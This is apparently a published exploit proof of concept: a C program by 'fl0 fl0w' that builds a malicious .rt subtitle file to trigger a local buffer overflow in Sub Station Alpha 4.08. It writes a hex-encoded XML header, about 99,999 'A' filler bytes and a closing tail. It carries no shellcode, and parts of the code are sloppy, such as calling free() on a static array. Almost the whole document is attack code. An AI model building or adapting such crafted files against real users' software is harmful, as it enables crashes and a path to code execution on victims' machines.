Sub Station Alpha 4.08 Buffer Overflow

`/*Sub Station Alpha v4.08 .rt file local buffer overflow poc  
by fl0 fl0w*/  
#include <string.h>  
#include <stdio.h>  
  
#define FIL3 "testfile.rt"  
char header[]=  
{  
"\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30"  
"\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C"  
"\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D"  
"\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22" //header 109 bytes  
};   
char tail[]=  
{   
//junk  
"\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74"  
"\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39"  
"\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72"  
"\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65"  
"\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F"  
"\x77\x3E\x0D\x0A" //tail 154 bytes  
};   
char banner[]=  
{  
"***********************************************************\n"  
"Sub Station Alpha v4.08 .rt file local buffer overflow poc*\n"  
" by fl0 fl0w *\n"  
"***********************************************************\n"  
};   
/*--------prototypes------*/   
int cpy(char*,char*,int);  
int cpystr(char*,int,int,int);  
void print(char*);  
unsigned int getFsize(FILE*,char*);  
/*-----extern var--------*/  
char b[1000000];   
char *size;   
char junk[1000000];  
/*--------main---------------*/  
int main()  
{   
printf("%s",banner);  
print("Starting sploit");  
memset(junk,0x41,99999);  
buildf(FIL3);  
print("File done!");  
getchar();  
return 0;  
}   
int buildf(char* fname)  
{  
FILE* fp=fopen(fname,"wb");  
  
if(fp==NULL)  
{  
print("File writing error");   
exit(0);  
}   
fprintf(fp,"%s%s%s",header,junk,tail);  
printf("[!]File is %d bytes",getFsize(fp,FIL3));  
fclose(fp);  
free(b);  
  
return 0;   
}   
unsigned int getFsize(FILE* g,char* gname)  
{  
unsigned int s;  
  
g=fopen(gname,"rb");  
  
if(g==NULL)  
{  
print("File error at reading");  
exit(0);  
}   
fseek(g,0,SEEK_END);  
s=ftell(g);  
  
return s;  
}   
int cpy(char* source,char* dest,int offset)  
{  
int len;  
len=strlen(source);  
memcpy(dest+offset,source,len+1);  
  
return len;  
}   
int cpystr(char* dest,int str,int len,int offset)  
{  
memset(dest+offset,str,len+1);  
return len;   
}   
void print(char* msg)  
{  
printf("\n[*]%s\n",msg);  
}  
  
`